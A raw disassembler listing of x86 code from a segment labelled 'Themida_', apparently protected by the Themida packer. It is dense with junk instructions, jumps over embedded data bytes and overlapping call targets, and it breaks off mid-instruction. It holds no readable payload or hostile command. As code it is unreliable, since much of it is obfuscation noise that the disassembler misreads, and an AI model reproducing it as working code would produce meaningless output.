; --------------------------------------------------------------------------- pop es cdq push 38h retn ; --------------------------------------------------------------------------- test eax, 7C3F52A4h mov ecx, [ebx] mov ebx, 5267489Fh xor dh, dl dec eax loc_5CF64A: ; CODE XREF: sub_5CF62D+4j mov ax, 0FA25h jmp loc_5CF664 ; --------------------------------------------------------------------------- db 0Ch dd 6980C482h, 7E636A12h, 6503BACBh, 40884A9Ah ; --------------------------------------------------------------------------- loc_5CF664: ; CODE XREF: sub_5CF62D+21j add dl, 0D7h jmp loc_5CF67B ; --------------------------------------------------------------------------- dd 0F050178Fh, 0FF221291h, 13DCFAF2h db 0C9h, 18h, 4Ch ; --------------------------------------------------------------------------- loc_5CF67B: ; CODE XREF: sub_5CF62D+3Aj jmp loc_5CF68F ; --------------------------------------------------------------------------- dd 77E6DE3Ah, 1D814B0Ah, 8BA98004h ; --------------------------------------------------------------------------- inc esi sbb [ebx], ah loc_5CF68F: ; CODE XREF: sub_5CF62D:loc_5CF67Bj or si, 9FB0h add bh, 0FFh mov cx, di movsx edi, dx sub si, 4519h jz loc_5CF6AE push esi mov cx, 8D44h pop edx loc_5CF6AE: ; CODE XREF: sub_5CF62D+75j call loc_5CF6C3 mov eax, ds:738C7191h xor cl, 89h xchg al, ds:88D7710Ah inc edi inc ecx sub_5CF62D endp ; sp-analysis failed loc_5CF6C3: ; CODE XREF: sub_5CF62D:loc_5CF6AEp mov eax, 2E20FD38h pop esi mov si, di mov ah, 2Dh stc add ebx, 4744531Ah mov bx, di jg loc_5CF6E3 and bx, 0DDCBh loc_5CF6E3: ; CODE XREF: Themida_:005CF6D8j add ecx, 0E83A9B1h jmp loc_5CF6F3 ; --------------------------------------------------------------------------- dw 0ACB7h db 2Dh, 2 dup(7) ; --------------------------------------------------------------------------- loc_5CF6F3: ; CODE XREF: Themida_:005CF6E9j jmp loc_5CF70C ; --------------------------------------------------------------------------- dd 38E1194Eh, 18EE0A00h, 5339253Bh, 45DCB42Dh, 0C1BE2080h ; --------------------------------------------------------------------------- loc_5CF70C: ; CODE XREF: Themida_:loc_5CF6F3j mov si, 4190h movsx eax, bx sbb eax, 61875E90h mov si, 700Bh jle loc_5CF727 push ecx pusha popa pop eax loc_5CF727: ; CODE XREF: Themida_:005CF71Dj movzx ebx, cx cld stc mov edx, 1994F2CAh mov bx, dx mov di, ax call sub_5CF74E fmul st(4), st xchg eax, edi push esp mov bl, 23h clc scasd dec ecx inc ebx ; --------------------------------------------------------------------------- dw 63DBh dd 8FBC7BF9h db 59h, 9 ; =============== S U B R O U T I N E ======================================= sub_5CF74E proc near ; CODE XREF: Themida_:005CF737p pusha jnz $+6 cld popa pop esi stc mov cx, si jmp loc_5CF766 ; --------------------------------------------------------------------------- db 43h, 90h, 0F4h ; --------------------------------------------------------------------------- mov dl, bl loc_5CF766: ; CODE XREF: sub_5CF74E+Ej pusha movsx ebx, di sbb dx, 6734h popa stc push edx jmp loc_5CF781 ; --------------------------------------------------------------------------- db 0A1h dd 0C61ABE8Bh, 2D468678h ; --------------------------------------------------------------------------- leave loc_5CF781: ; CODE XREF: sub_5CF74E+24j pop eax mov di, cx mov esi, ecx clc mov eax, 6D380EA9h mov ch, 4Bh jmp loc_5CF799 ; --------------------------------------------------------------------------- dd 99679504h db 0Ah ; --------------------------------------------------------------------------- loc_5CF799: ; CODE XREF: sub_5CF74E+41j pusha push edx pop esi mov ax, bx popa mov ebx, 478D1BD3h mov ebx, eax or eax, 28B7154Dh cmc mov eax, edx mov ecx, edi mov cl, 5Fh pusha mov ax, di xor esi, 57C4C680h popa stc jns loc_5CF7CD jge loc_5CF7CD stc loc_5CF7CD: ; CODE XREF: sub_5CF74E+72j ; sub_5CF74E+78j jmp loc_5CF7D7 ; --------------------------------------------------------------------------- dw 0E88Dh db 40h, 0C2h, 57h ; --------------------------------------------------------------------------- loc_5CF7D7: ; CODE XREF: sub_5CF74E:loc_5CF7CDj jmp loc_5CF7E3 ; --------------------------------------------------------------------------- dd 895DB57Fh db 9Ah, 66h, 5 ; --------------------------------------------------------------------------- loc_5CF7E3: ; CODE XREF: sub_5CF74E:loc_5CF7D7j jmp loc_5CF7F7 ; --------------------------------------------------------------------------- dd 81A04771h, 0AC7FD364h, 0F3CDBA35h db 23h, 0B8h, 0D4h ; --------------------------------------------------------------------------- loc_5CF7F7: ; CODE XREF: sub_5CF74E:loc_5CF7E3j add cx, 0E7A8h sub dl, 0EFh jg loc_5CF808 mov ax, si loc_5CF808: ; CODE XREF: sub_5CF74E+B1j mov bh, al sbb si, 2C6Fh movsx ecx, si mov ax, si call near ptr loc_5CF825+1 daa jb short near ptr loc_5CF81D+3 loc_5CF81D: ; CODE XREF: sub_5CF74E+CDj sbb eax, 0A48F515Eh sub [edi-5Fh], al loc_5CF825: ; CODE XREF: sub_5CF74E+C7p xor eax, 0D4D78166h sub_5CF74E endp ; sp-analysis failed xor [edi+60h], bl mov al, 4Ch jge loc_5CF83B sub esi, 328D2EEBh loc_5CF83B: ; CODE XREF: Themida_:005CF82Fj popa stc movzx ecx, si pusha jmp loc_5CF859 ; --------------------------------------------------------------------------- jl short loc_5CF880 xchg eax, ebp jnb short loc_5CF880 daa rcl byte ptr [ebx+1Ah], 1 mov ecx, 84989FCBh dec edi clc cmp eax, [ebp+35h] loc_5CF859: ; CODE XREF: Themida_:005CF841j jmp loc_5CF870 ; --------------------------------------------------------------------------- dw 0BEA9h dd 6343D128h, 0CE38AF21h, 71739193h, 0C9A193DEh ; --------------------------------------------------------------------------- loc_5CF870: ; CODE XREF: Themida_:loc_5CF859j popa pusha mov al, 0FAh jmp loc_5CF880 ; --------------------------------------------------------------------------- db 8, 9, 4Dh ; --------------------------------------------------------------------------- setnb al dec ecx loc_5CF880: ; CODE XREF: Themida_:005CF846j ; Themida_:005CF849j ... popa push ecx jmp loc_5CF88E ; --------------------------------------------------------------------------- db 0Ch dd 0BF5AD058h db 0C2h, 0ACh ; --------------------------------------------------------------------------- loc_5CF88E: ; CODE XREF: Themida_:005CF882j pop edi cmc mov eax, 4858028Bh mov si, 0BF46h jmp loc_5CF8AB ; --------------------------------------------------------------------------- dw 46C5h dd 44956B22h, 0BA09DFD3h db 0A9h, 4Dh, 0AFh ; --------------------------------------------------------------------------- loc_5CF8AB: ; CODE XREF: Themida_:005CF899j ; Themida_:005CF8D8j jmp loc_5CF8C0 ; --------------------------------------------------------------------------- dd 0FDD4875h, 7402AAA3h, 404DA063h, 0DD1F8D71h ; --------------------------------------------------------------------------- loc_5CF8C0: ; CODE XREF: Themida_:loc_5CF8ABj mov cx, bx mov esi, ecx jbe loc_5CF8D0 mov edi, 471E6208h loc_5CF8D0: ; CODE XREF: Themida_:005CF8C5j call near ptr loc_5CF8DF+2 cmp ch, 0FEh jnb short near ptr loc_5CF8AB+3 mov ecx, 59B9F83Dh loc_5CF8DF: ; CODE XREF: Themida_:loc_5CF8D0p add dword ptr [ebx-4699A104h], 0FFFFFF80h mov ebx, 0A3D981F5h outsd test al, 7Bh jmp loc_5CF900 ; --------------------------------------------------------------------------- db 0BAh dd 51A34C92h, 0F7CAB5DAh, 0FD7E3D0Fh ; --------------------------------------------------------------------------- loc_5CF900: ; CODE XREF: Themida_:005CF8EEj jno loc_5CF90B and dx, 0A4F6h loc_5CF90B: ; CODE XREF: Themida_:loc_5CF900j mov ebx, 6EDB5D43h mov edi, 1FE3E9EFh adc di, 0A8C6h jp loc_5CF922 mov bl, dl loc_5CF922: ; CODE XREF: Themida_:005CF91Aj jb loc_5CF934 pusha jnp $+6 mov cx, 0FFFCh popa loc_5CF934: ; CODE XREF: Themida_:loc_5CF922j sub al, 54h mov edx, edi movzx esi, dx mov bl, 0C0h jmp loc_5CF94C ; --------------------------------------------------------------------------- db 1Dh dd 1F2D54B9h, 0AA6880BDh ; --------------------------------------------------------------------------- loc_5CF94C: ; CODE XREF: Themida_:005CF93Ej sub dx, 1CBDh pusha push eax call sub_5CF95E retf ; --------------------------------------------------------------------------- db 0C7h, 58h, 85h db 1Dh, 60h ; =============== S U B R O U T I N E ======================================= sub_5CF95E proc near ; CODE XREF: Themida_:005CF953p ; FUNCTION CHUNK AT 005CFA3E SIZE 00000001 BYTES pop esi pop ebx popa mov dh, bl mov di, cx mov bx, 0CE38h mov edx, edi or ebx, 236D48F0h movzx ebx, si mov di, 104Eh jz loc_5CF982 mov si, ax loc_5CF982: ; CODE XREF: sub_5CF95E+1Bj jmp loc_5CF98D ; --------------------------------------------------------------------------- db 0FCh dd 8FA8654h ; --------------------------------------------------------------------------- inc ecx loc_5CF98D: ; CODE XREF: sub_5CF95E:loc_5CF982j mov ecx, 6AA75BC0h jge loc_5CF99C mov ax, 7EF7h loc_5CF99C: ; CODE XREF: sub_5CF95E+34j push eax mov eax, ecx pop esi jmp loc_5CF9AD ; --------------------------------------------------------------------------- db 5Dh, 0E7h, 9Eh dd 52152892h db 0C6h ; --------------------------------------------------------------------------- loc_5CF9AD: ; CODE XREF: sub_5CF95E+42j and dl, 46h jmp loc_5CF9C3 ; --------------------------------------------------------------------------- db 0E6h, 8, 7Dh dd 0ABF9B3EAh, 77873FE3h ; --------------------------------------------------------------------------- jnz short locret_5CFA3E cdq loc_5CF9C3: ; CODE XREF: sub_5CF95E+52j xor dl, 0DCh push ecx mov bx, 7F59h pop ecx movsx ecx, bx mov al, 0D1h mov cl, 45h mov ecx, eax jmp loc_5CF9E4 ; --------------------------------------------------------------------------- dw 5D9Ch dd 63FE6D2Ah, 0DC440032h ; --------------------------------------------------------------------------- loc_5CF9E4: ; CODE XREF: sub_5CF95E+77j and ax, 0A683h call near ptr loc_5CF9F2+1 push esp mov bl, [ecx-42h] loc_5CF9F2: ; CODE XREF: sub_5CF95E+8Bp fsub dword ptr [esi-75h] sub_5CF95E endp ; sp-analysis failed mov byte ptr [ecx+0Fh], 85h add al, [eax] ; --------------------------------------------------------------------------- db 0 dd 0E83BB300h, 0Dh, 5537165Fh, 6D1BFBC0h, 5F6275E5h, 0DEB70FF0h dd 12E85Eh, 88800000h, 0E0C55A16h, 78688E87h, 0FB4599C8h dd 0ABFDF12Eh, 0F505FF9h, 280h, 5989B500h, 0DABF0F56h db 5Fh, 80h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CF95E locret_5CFA3E: ; CODE XREF: sub_5CF95E+62j iret ; END OF FUNCTION CHUNK FOR sub_5CF95E ; --------------------------------------------------------------------------- db 11h ; --------------------------------------------------------------------------- js loc_5CFA49 and ah, 62h loc_5CFA49: ; CODE XREF: Themida_:005CFA40j jns loc_5CFA50 cld loc_5CFA50: ; CODE XREF: Themida_:loc_5CFA49j jmp loc_5CFA67 ; --------------------------------------------------------------------------- db 7Ah, 0AEh, 0B1h dd 7C7C8214h, 41726D56h, 81500EDDh ; --------------------------------------------------------------------------- mov ah, 90h pop ds loc_5CFA67: ; CODE XREF: Themida_:loc_5CFA50j jmp loc_5CFA71 ; --------------------------------------------------------------------------- dd 3EBF265Dh ; --------------------------------------------------------------------------- xchg eax, edi loc_5CFA71: ; CODE XREF: Themida_:loc_5CFA67j jbe loc_5CFA83 jg loc_5CFA83 jnp $+6 loc_5CFA83: ; CODE XREF: Themida_:loc_5CFA71j ; Themida_:005CFA77j clc add ch, 7Bh jg $+6 clc mov bl, 0A3h mov ax, 7B0Ch and ax, 0EABAh jmp loc_5CFAA3 ; --------------------------------------------------------------------------- dw 88FEh db 34h, 0FEh, 64h ; --------------------------------------------------------------------------- loc_5CFAA3: ; CODE XREF: Themida_:005CFA99j mov ax, 129Bh mov eax, 4DC6121Bh cld jns loc_5CFAB8 sub ax, 9A5Ch loc_5CFAB8: ; CODE XREF: Themida_:005CFAADj clc movzx esi, ax push esi jmp loc_5CFAD1 ; --------------------------------------------------------------------------- dw 81C9h dd 278837F3h, 1C11540Dh, 0BFBED63Eh ; --------------------------------------------------------------------------- inc esi loc_5CFAD1: ; CODE XREF: Themida_:005CFABDj pop ecx jz loc_5CFADF jns loc_5CFADF cld loc_5CFADF: ; CODE XREF: Themida_:005CFAD2j ; Themida_:005CFAD8j movzx esi, cx jmp loc_5CFAEE ; --------------------------------------------------------------------------- db 18h dd 0D73DFE1Fh db 0E4h, 8Bh ; --------------------------------------------------------------------------- loc_5CFAEE: ; CODE XREF: Themida_:005CFAE2j xor ah, 0E7h sub esi, 57CBDC7Bh mov bl, 0B9h mov edi, edx pusha mov ebx, 5220D4A4h or cx, 2DBDh popa mov edi, ecx mov bx, 8432h jmp loc_5CFB18 ; --------------------------------------------------------------------------- sbb [edx-26F17BD7h], edx loc_5CFB18: ; CODE XREF: Themida_:005CFB0Dj mov ecx, ebx push edi stc pop edx pusha push eax mov di, si pop edi pusha mov dx, 20D8h pusha popa popa popa mov eax, 7C3AB7C0h pusha jbe loc_5CFB3E sub eax, 61BC9C2h loc_5CFB3E: ; CODE XREF: Themida_:005CFB32j popa xor al, 18h jmp loc_5CFB51 ; --------------------------------------------------------------------------- db 0A2h dd 911C3207h, 0C69AE9A6h ; --------------------------------------------------------------------------- clc loc_5CFB51: ; CODE XREF: Themida_:005CFB42j jmp loc_5CFB65 ; --------------------------------------------------------------------------- dw 0BF6Ch dd 0B187A924h, 0D444B833h, 558F0858h db 0C8h ; --------------------------------------------------------------------------- loc_5CFB65: ; CODE XREF: Themida_:loc_5CFB51j jmp loc_5CFB79 ; --------------------------------------------------------------------------- dw 743Eh dd 7A6D2E3Fh, 43E152FEh, 0AE7559F3h db 0BAh ; --------------------------------------------------------------------------- loc_5CFB79: ; CODE XREF: Themida_:loc_5CFB65j or edi, 2C7FBA72h cld jmp loc_5CFB8E ; --------------------------------------------------------------------------- db 0A8h, 0D9h, 7Eh dd 0B871E561h db 62h, 44h ; --------------------------------------------------------------------------- loc_5CFB8E: ; CODE XREF: Themida_:005CFB80j call sub_5CFBA2 ; --------------------------------------------------------------------------- db 0BFh dd 68C512B2h, 0EA505179h, 7960E088h ; --------------------------------------------------------------------------- cdq movsb ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5CFBA2 proc near ; CODE XREF: Themida_:loc_5CFB8Ep mov edx, 61AE5D5h pop eax jnb loc_5CFBB4 sbb ebx, 4F3675C7h loc_5CFBB4: ; CODE XREF: sub_5CFBA2+6j pusha pusha movzx edx, ax xor ecx, 7BD941F4h popa and edi, 56EB7923h popa clc push ecx pop eax mov ebx, edi jo loc_5CFBD3 cld loc_5CFBD3: ; CODE XREF: sub_5CFBA2+2Aj jz loc_5CFBE4 jle loc_5CFBE4 mov edi, 113C7E70h loc_5CFBE4: ; CODE XREF: sub_5CFBA2:loc_5CFBD3j ; sub_5CFBA2+37j jge $+6 movzx edi, si push ebx pop ecx mov esi, 22597956h sub di, 1AC5h pusha js loc_5CFC02 push ecx pop eax loc_5CFC02: ; CODE XREF: sub_5CFBA2+58j movsx esi, dx popa jmp loc_5CFC10 ; --------------------------------------------------------------------------- db 91h dd 2F00BA2h ; --------------------------------------------------------------------------- loc_5CFC10: ; CODE XREF: sub_5CFBA2+64j mov ebx, eax movsx esi, si sub ebx, 6938BA50h stc and bh, 1Eh call sub_5CFC2B sub_5CFBA2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ecx or edi, [ecx+5AD351FAh] ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_5CFC2B proc near ; CODE XREF: sub_5CFBA2+7Dp jmp sub_5CFC36 sub_5CFC2B endp ; --------------------------------------------------------------------------- dd 90CDD929h db 9Eh, 0C5h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5CFC36 proc near ; CODE XREF: sub_5CFC2Bj pop edi call sub_5CFC50 jmp near ptr 0D94A59F2h sub_5CFC36 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3Ah, 0A4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CFC50 loc_5CFC43: ; CODE XREF: sub_5CFC50+42j xor eax, 1C3207A2h xchg eax, ecx cmpsb jmp near ptr 0F955C2E9h ; END OF FUNCTION CHUNK FOR sub_5CFC50 ; --------------------------------------------------------------------------- db 2Ah ; =============== S U B R O U T I N E ======================================= sub_5CFC50 proc near ; CODE XREF: sub_5CFC36+1p ; FUNCTION CHUNK AT 005CFC43 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005CFC96 SIZE 0000000E BYTES mov edi, ebx pop edi mov ebx, esi movzx edi, dx mov ecx, 38014580h jl loc_5CFC68 mov edx, 6F5B0856h loc_5CFC68: ; CODE XREF: sub_5CFC50+Dj jmp loc_5CFC7A ; --------------------------------------------------------------------------- db 70h, 0A7h, 0D2h dd 380F4C3Eh, 337C87AEh db 95h, 7Ch ; --------------------------------------------------------------------------- loc_5CFC7A: ; CODE XREF: sub_5CFC50:loc_5CFC68j pusha push ebx and bx, 3334h pop ecx jg loc_5CFC96 call near ptr loc_5CFC94+1 call near ptr 72072D68h ja short loc_5CFC43 loc_5CFC94: ; CODE XREF: sub_5CFC50+38p db 3Eh pop esi sub_5CFC50 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_5CFC50 loc_5CFC96: ; CODE XREF: sub_5CFC50+32j popa call near ptr loc_5CFCA0+1 push es cmp [edi+31h], ch loc_5CFCA0: ; CODE XREF: sub_5CFC50+47p cmp cl, [edi] mov ss, word ptr [eax] ; END OF FUNCTION CHUNK FOR sub_5CFC50 ; --------------------------------------------------------------------------- dd 0E9000000h, 0Bh, 9D6BEA05h, 0F98C3707h, 5BE2D55Eh, 0CBB70F60h dd 52F561F5h, 5BC1BF0Fh, 0CEC18060h, 5661F78Bh, 58D18B66h dd 66DA8B66h, 0E8BD75BAh, 0Ah, 0DE33AF62h, 770B773Dh, 8166FA99h dd 5A27C8C3h, 7E9h, 68A4CF00h, 0FD6B8A3Eh, 46E18166h, 6E9609Dh dd 74000000h, 0E879E1E8h, 0A7EB808Ch, 14E861h, 318C0000h dd 0D03B45D9h, 0E2F3E87h, 5A170912h, 3E48C00Ch, 880F276Ah dd 4, 3FEAB866h, 5A69BE5Bh, 7CB678F6h, 13E9h, 0F8876A00h dd 0DAC82303h, 0B8A45F76h, 0BD7484DFh, 9665657h, 58A0Fh dd 0EABE0000h, 8B65FB81h, 7E180F9h, 9E9h, 2D76F800h, 740744B9h dd 0BF0F1556h, 29BA66C1h, 51F18B2Dh, 8B0F58F9h, 0Ah, 48C0Fh dd 0BE660000h, 8D0F8227h, 1Ah, 148F0Fh, 0FE90000h, 42000000h dd 0F9C61DFBh, 3AC6D40h, 0DD70CEF7h, 0BB661EE7h, 0F960C99Fh dd 61CF8B66h, 5357EF80h, 5F9ECF80h, 1F8B0Fh, 13E80000h dd 81000000h, 5C72D65Ah, 3876DD79h, 3D2C08FFh, 0A296E20Dh dd 8E0FBC2Ah, 0 ; --------------------------------------------------------------------------- pop edx add cx, 20CDh jmp loc_5CFDFE ; --------------------------------------------------------------------------- db 67h dd 7800D638h, 47E6EEB0h, 0D9E0171Fh, 0F1DAD586h db 0F1h, 0DEh ; --------------------------------------------------------------------------- loc_5CFDFE: ; CODE XREF: Themida_:005CFDE6j mov edx, 6EED284Ch mov esi, eax or bx, 6FACh adc edx, 5B6CFFCEh jo loc_5CFE1C sub edi, 51ED86BFh loc_5CFE1C: ; CODE XREF: Themida_:005CFE10j mov ecx, edx xor bl, 35h mov ah, bh mov dx, 2C80h push ecx ja loc_5CFE32 mov di, 0ABEFh loc_5CFE32: ; CODE XREF: Themida_:005CFE28j pop eax mov si, 8A57h jmp loc_5CFE49 ; --------------------------------------------------------------------------- dd 87BA075Ah, 8FA44408h, 5D590BB1h db 0C5h ; --------------------------------------------------------------------------- loc_5CFE49: ; CODE XREF: Themida_:005CFE37j mov edi, 2A01D9F5h jmp loc_5CFE5A ; --------------------------------------------------------------------------- db 0B4h dd 812D4E2Bh db 6Fh, 80h ; --------------------------------------------------------------------------- loc_5CFE5A: ; CODE XREF: Themida_:005CFE4Ej pusha mov bh, 0DDh jmp loc_5CFE74 ; --------------------------------------------------------------------------- dw 87A0h dd 82FAC0CEh, 0C5855072h, 7B4A7FC1h, 74E1FD97h ; --------------------------------------------------------------------------- loc_5CFE74: ; CODE XREF: Themida_:005CFE5Dj popa and dx, 97E3h pusha and si, 0EE24h jmp loc_5CFE92 ; --------------------------------------------------------------------------- cmp [eax], ebp or al, 0A3h sub eax, 0C30CAB44h fisttp qword ptr [eax+35h] loc_5CFE92: ; CODE XREF: Themida_:005CFE80j popa mov bx, 9A10h jb loc_5CFEA2 adc di, 0C6E3h loc_5CFEA2: ; CODE XREF: Themida_:005CFE97j call near ptr loc_5CFEAF+3 sbb [ebx-2C84E9C5h], dl movsb lodsb loc_5CFEAF: ; CODE XREF: Themida_:loc_5CFEA2p call near ptr 846839Dh ; --------------------------------------------------------------------------- dd 4000000h, 0B576F0DFh, 0F5EC21Eh, 589h, 0E30BBF00h, 8166306Bh dd 0F1FEAC1h, 8Fh, 5AF85300h, 0C0B70F60h, 12E961h, 3A320000h dd 2AAFC356h, 6D763887h, 0D80ED592h, 0EF843825h, 1820Fh dd 0F8F90000h, 61F86060h, 3DE88166h, 4B5617Dh, 939EE181h dd 10E908D2h, 0F8000000h, 71863D27h, 39B7531Bh, 48A7B6DDh dd 0BE8D2E1Fh, 3B5134E5h, 81C28B66h, 0C7949DEBh, 10E97Dh dd 0EF3F0000h, 27A8528Fh, 0D85D2AEDh, 73C91CCAh, 0F60BB29h dd 0BF0FCEB7h, 8B6661D0h, 0FE9D0h, 40340000h, 2558671Eh dd 43ED76B8h, 0ED13409Fh, 0EE9F93Eh, 57000000h, 608DB812h dd 86B8D52Ch, 54FFB486h, 0BE9509Bh, 3B000000h, 0EC88467Bh dd 0D57B4077h, 605EA7FDh, 10E8F8h, 0C1C00000h, 8F3497ACh dd 64661C1h, 0B83BAD46h, 0B70FEB3Ch, 0E8615BC9h, 10h, 6A048FB1h dd 0A3159B65h, 6B673768h, 0E4FD8098h, 6BB2B866h, 0E7816658h dd 8B0FB0DDh, 3, 0E9D1B70Fh, 10h, 0B71D7251h, 3EC5E0D3h dd 0CE40045Dh, 83E9116Bh, 0F2466BBEh, 151BBA5Ch, 0E9601498h dd 0Fh, 9A9FFDBDh, 0C4C1A89Ch, 8DE53579h, 53D023CBh, 615ED18Bh dd 0E808D081h, 5E5601EBh, 66CCE280h, 0B509E781h, 14E8h dd 5877D00h, 81C8F031h, 0FA8654FCh, 431B4108h, 5AF32EEDh dd 14E9F0h, 13BC0000h, 4A9D54A9h, 0C9B33A11h, 0E4D2E5F8h dd 0B145AFA4h, 0F5B9661h, 82h, 0F78B6600h, 9E8h, 80629C00h dd 74549A67h, 6656CC4Dh, 5F59F78Bh, 23890Fh, 8E80000h dd 71000000h, 67024F2Eh, 0E8D9098Ch, 0Fh, 4788D771h, 1D9ED841h dd 1C40C24Bh, 5FA30A5Fh, 0D080565Bh, 0AE95EDFh, 55000000h dd 0ACC6D6F6h, 54464F12h, 806DB450h, 0E78A8FE5h, 28A0F52h dd 52000000h, 0F98B585Ah, 4578EF81h, 0C3815680h, 20D876D7h dd 8BFC83B4h, 9E8D3h, 0F6290000h, 346BC3B2h, 0E9D2CD33h dd 0Fh, 706A81AEh, 0C04C0979h, 4190D688h, 5B873553h, 8E9h dd 9B07B100h, 0F7367CFh, 8E9D9h, 0EAD70000h, 4A7CF0C5h dd 0EE8A157Ah, 0DE9h, 0F94D7B00h, 14DEB83Dh, 6F40EBF1h dd 8166AA09h, 0E9A35FCAh, 12h, 0E2DF26h, 9B391D94h, 0D0E70C9h dd 0F1731135h, 0FFCD188h, 283h, 6666B100h, 0D395C881h dd 1DFCB966h, 8AFA1DB8h, 0D680513Bh, 0B8665FC0h, 5E90CB9h dd 31000000h, 0D0037725h, 0E33FC5BBh, 0DE93Dh, 28250000h dd 7E5FF0FEh, 0FF01BFAFh, 0F41FE5Bh, 480h, 0D18B5600h dd 14E95Bh, 0D8500000h, 0BF8D1147h, 0ACE145DFh, 73291B37h dd 0B02FC089h, 66FC179Fh, 9E8FE8Bh, 41000000h, 1A606B2Fh dd 0DD851848h, 0A3BF665Eh, 30B966D5h, 43BF66EFh, 12E8F98Dh dd 0B8000000h, 9E64C65Eh, 0D9EA0371h, 0DE43F608h, 4117B68Dh dd 11E888h, 84BF0000h, 7D37CE54h, 3C41430Fh, 0BEF7BC2h dd 0E9AF010Fh, 0Fh, 42712F27h, 0A351AA10h, 845DBE04h, 59851272h dd 0AE95Fh, 66CE0000h, 0D3BAFB71h, 0C431B1F5h, 3840Fh dd 0D1800000h, 0EB0F8BBh, 0D7697AB9h, 0BE66F950h, 0DE90D80h dd 76000000h, 861ED1BDh, 25A6A51Ch, 0E91BF726h, 0E06CC381h dd 0C5BB2F78h, 0F79BB31h, 0B70FFBB7h, 0C3BF0FFBh, 0D860Fh dd 5E80000h, 8C000000h, 38D76180h, 665A6160h, 8D0FD18Bh dd 1, 4CBA60F8h, 8B0867C6h, 0FE961F9h, 41000000h, 0A0D377F5h dd 7E39C65Dh, 6EC042C1h, 0D480A000h, 0DF816658h, 0E4BE4488h dd 6620A557h, 66FFCEB9h, 12E9D18Bh, 62000000h, 0FD735DE7h dd 44128B25h, 167CDE6h, 0FE3558D7h, 0F680607Bh, 1EBA66D9h dd 0B8666134h, 0FE9F90Ch, 84000000h, 0E5742C11h, 2D26ABD6h dd 6894AD29h, 0D2810C4Eh, 3DDCC314h, 0FE9h, 4F4BC800h dd 0AB454959h, 0EA0DB52Fh, 3BA2E123h, 13E9h, 0DD6BF00h dd 0A048B20Dh, 62F0ABB8h, 505EBA8Ch, 0AB1A5531h, 38D0Fh dd 8B660000h, 13E9FBh, 0A4720000h, 846C79EDh, 0DE3B9B23h dd 319EA435h, 37662C3Bh, 5E86025h, 45000000h, 8818D50Ch dd 5B21D280h, 58A0Fh, 81660000h, 61832DE7h, 11E8h, 0EB1C8C00h dd 9BF6500Dh, 3C8384CCh, 0CE08C104h, 9E8E523h, 0D5000000h dd 10F82E50h, 0D2CE4960h, 0C2D28166h, 0E85F5A79h, 12h dd 5C7F438Dh, 6E464F4h, 0CDD2C4C4h, 0A0E7CF1Bh, 830FC1E1h dd 2, 8B5AE28Ah, 0FC68BF0h, 0BF0FD1B7h, 0D8B860CFh, 805FF19Fh dd 0F861CEF4h, 0F60E78Ah, 483h, 0CBE6600h, 12E953A1h, 0BB000000h dd 0E5E49939h, 0A5B3B06h, 0DA45FE77h, 3D0D86C1h, 60615BE4h dd 97E8BE66h, 7E961h, 34E50000h, 0FD125AC5h, 9E9CEh, 0FE020000h dd 860C002Ah, 0FABD262h, 8F0FF3BFh, 4, 7C89B966h, 0C18166F9h dd 0B660EABCh, 0F18B665Ah, 3880F61h, 66000000h, 0FE8C88Bh dd 0C6000000h, 0DCE0F448h, 33F40931h, 0BCFD880Dh, 5060AFA9h dd 12E959h, 6EF60000h, 3C3CDB9Eh, 5C7BD98Fh, 65A1D790h dd 30820080h, 11E95A61h, 0FB000000h, 0A35C5CE7h, 76C22E1h dd 0A8844ECh, 0EE31FBE6h, 0AE9h, 0B01D1500h, 313FFD1Dh dd 66C6DFEAh, 0CE8BFA8Bh, 118A0Fh, 0BE80000h, 85000000h dd 48FBEFABh, 75345513h, 0B15F171Bh, 0D3E9809Eh, 0C0BF0FF8h dd 5094D681h, 0C8816482h, 79835A95h, 4800Fh, 0BF660000h dd 0FC6090FCh, 1820Fh, 61F50000h, 0BAE42FBEh, 25E88100h dd 0F8613697h, 5870Fh, 6EBA0000h, 8B07C844h, 0CE9F8h, 0BDA0000h dd 0D709D2C8h, 686A2910h, 66F9A9B4h, 6656DF8Bh, 0F74DE681h dd 53BA665Ah, 13E86021h, 0AB000000h, 42E6437Eh, 778FBABFh dd 66D5BAEDh, 4CE7EB0Eh, 816605E6h, 58DEF2D1h, 0DE8h, 81915100h dd 0F69BB0EBh, 49C411CCh, 0DE8A69Ah, 0D1000000h, 1E6884A3h dd 4DE5F59Fh, 0B6927433h, 66615A59h, 932FC981h, 0EA816060h dd 0CA3A31Fh, 880F6161h, 8, 2870Fh, 0F38B0000h, 0DF81DD8Ah dd 3DC24140h, 663BB6FCh, 0EBC6C181h, 0E952F88Bh, 5, 0B3ECB12h dd 0DE805E4Ch, 8B666059h, 816661F8h, 0F58E2DFh, 987h, 49BE6000h dd 600BFA14h, 0C1816161h, 1CD820B4h, 0BE8h, 0C4795500h dd 0C22D4971h, 16AD0342h, 0BB665FFCh, 5E8FA74h, 9C000000h dd 4BD0CFCEh, 5FF85159h, 5E9h, 25E9C00h, 0C58AA020h, 58E78166h dd 2CEF8097h, 14E8h, 720B5400h, 71C5F57Fh, 51B89698h, 519C9901h dd 266B259Dh, 66F9586Dh, 8E0FF78Bh, 6, 0A038C281h, 8E0F340Bh dd 5, 890E4FB8h, 0C3B70F0Fh, 0F9C3BF0Fh, 0E1C14AB8h, 38A0F04h dd 0F000000h, 10E9FFBFh, 0E9000000h, 0B10CE1A5h, 0BF03B48Ah dd 0C11A4B35h, 0F2015C6h, 283h, 0E9D88B00h, 9, 7D810C0h dd 0B4D6C408h, 8820F0Fh, 60000000h, 0BB665953h, 0F561AD25h dd 60C38AF9h, 0BED6E681h, 816633E2h, 61FA2ACAh, 0E937B560h dd 0Ah, 55EDC8FCh, 88082B2Eh, 0F561786Eh, 6850Fh, 820F0000h dd 0 ; --------------------------------------------------------------------------- mov edi, 66318C8Eh movsx ecx, di mov ax, 6316h push edx pop ebx jmp loc_5D0681 ; --------------------------------------------------------------------------- db 20h dd 0EF1DDA29h db 7Dh ; --------------------------------------------------------------------------- loc_5D0681: ; CODE XREF: Themida_:005D0676j jno loc_5D068B mov bx, 4086h loc_5D068B: ; CODE XREF: Themida_:loc_5D0681j mov 